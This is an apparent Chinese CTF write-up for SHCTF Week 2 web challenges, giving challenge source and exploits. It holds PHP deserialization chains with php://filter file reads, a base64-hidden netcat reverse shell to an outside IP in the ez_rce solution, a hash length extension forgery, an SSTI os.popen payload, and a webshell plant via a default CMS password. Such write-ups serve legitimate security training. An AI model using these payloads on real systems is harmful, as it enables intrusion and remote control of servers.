SHCTF WEEK2
[WEEK2]serialize
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php highlight_file(__FILE__); class misca{ public $gao; public $fei; public $a; public function __get($key){ $this->miaomiao(); $this->gao=$this->fei; die($this->a); } public function miaomiao(){ $this->a='Mikey Mouse~'; } } class musca{ public $ding; public $dong; public function __wakeup(){ return $this->ding->dong; } } class milaoshu{ public $v; public function __tostring(){ echo"misca~musca~milaoshu~~~"; include($this->v); } } function check($data){ if(preg_match('/^O:\d+/',$data)){ die("you should think harder!"); } else return $data; } unserialize(check($_GET["wanna_fl.ag"]));
|
这里反序列化头可以用数组绕过,然后用引用绕过miaomiao()方法
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); class misca{ public $gao; public $fei; public $a; } class musca{ public $ding; } class milaoshu{ public $v='php://filter/convert.base64-encode/resource=flag.php'; }
$a = new musca(); $a->ding = new misca(); $a->ding->a = &$a->ding->gao; $a->ding->fei = new milaoshu();
echo serialize(array($a));
|
1
| ?wanna[fl.ag=a:1:{i:0;O:5:"musca":1:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}}}
|
[WEEK2]no_wake_up
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); class flag{ public $username; public $code; public function __wakeup(){ $this->username = "guest"; } public function __destruct(){ if($this->username = "admin"){ include($this->code); } } } unserialize($_GET['try']);
|
fast_destruct 绕过wakeup,exp如下
1 2 3 4 5 6 7 8 9 10
| <?php highlight_file(__FILE__); class flag { public $username; public $code = 'php://filter/convert.base64-encode/resource=flag.php'; } $a = new flag(); $a->username='admin'; echo serialize($a);
|
1
| ?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:52:"php://filter/convert.base64-encode/resource=flag.php";
|
[WEEK2]ez_rce
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from flask import * import subprocess
app = Flask(__name__)
def gett(obj, arg): tmp = obj for i in arg: tmp = getattr(tmp, i) print(tmp) return tmp
def sett(obj, arg, num): tmp = obj for i in range(len(arg) - 1): tmp = getattr(tmp, arg[i]) setattr(tmp, arg[i + 1], num)
def hint(giveme, num, bol): c = gett(subprocess, giveme) tmp = list(c) tmp[num] = bol tmp = tuple(tmp) sett(subprocess, giveme, tmp)
def cmd(arg): subprocess.call(arg)
@app.route('/', methods=['GET', 'POST']) def exec(): try: if request.args.get('exec') == 'ok': shell = request.args.get('shell') cmd(shell) else: exp = list(request.get_json()['exp']) num = int(request.args.get('num')) bol = bool(request.args.get('bol')) hint(exp, num, bol) return 'ok' except: return 'error'
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
|
注意点:
1.这里的subprocess.call的shell属性默认为false,只能执行单个命令
2.call和run等函数一样,他们都是使用Popen进行封装的,运行时都会调用这个,参考https://blog.csdn.net/wzj_110/article/details/116612425
3.使用__defaults__方法是可以获得某函数或者类内的所有属性
总体思路就是找到Popen里面的shell属性,将其修改为true,进而让call执行多段命令
一阶段payload如下:
1 2 3 4 5
| GET: ?num=7&bol=1
POST: {"exp":{"Popen":"123","__init__":"123","__defaults__":"123"}}
|
二阶段payload如下:
1
| ?exec=ok&shell=`echo bmMgMTEwLjQxLjE3LjE4MyAyNTAgLWUgL2Jpbi9zaA== | base64 -d`
|
[WEEK2]MD5的事就拜托了
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['SHCTF'])){ extract(parse_url($_POST['SHCTF'])); if($$$scheme==='SHCTF'){ echo(md5($flag)); echo("</br>"); } if(isset($_GET['length'])){ $num=$_GET['length']; if($num*100!=intval($num*100)){ echo(strlen($flag)); echo("</br>"); } } } if($_POST['SHCTF']!=md5($flag)){ if($_POST['SHCTF']===md5($flag.urldecode($num))){ echo("flag is".$flag); } }
|
重点:哈希拓展长度攻击,工具hashpump,下面会举例说明
1 2 3 4 5 6
| Input Signature: key和明文加密后得到的哈希值 Input Data: 给出的明文 Input Key Length: key的长度 Input Data to Add: 想要添加的数值,这部分是必须得有的,就算没用 最后得到的结果是结合更新后内容得到的哈希值 后面是伪造的password
|
1
| 这里把flag的最后一个字符}当成已知的字符进行伪造新的md5值,把剩下的flag当作key
|
一阶段:获得flag的md5和长度,开始就是一个url拆分套娃
二阶段:进行md5伪造
1
| 传参的时候去掉最前面的},因为真正的key(flag),后面是自带一个}的
|
1 2 3 4 5
| GET: ?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00a
POST: SHCTF=d285c0becc667923569236d9eed60c79
|
[WEEK2]ez_ssti
ssti
1 2 3
| 在hackerbar随手点了个exp就getshell了
?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
|
[WEEK2]EasyCMS
1
| 网上搜后台,admin/admin.php,密码是tao,进入后台发现可以编辑文件,直接写个马,蚁剑连接结束战斗
|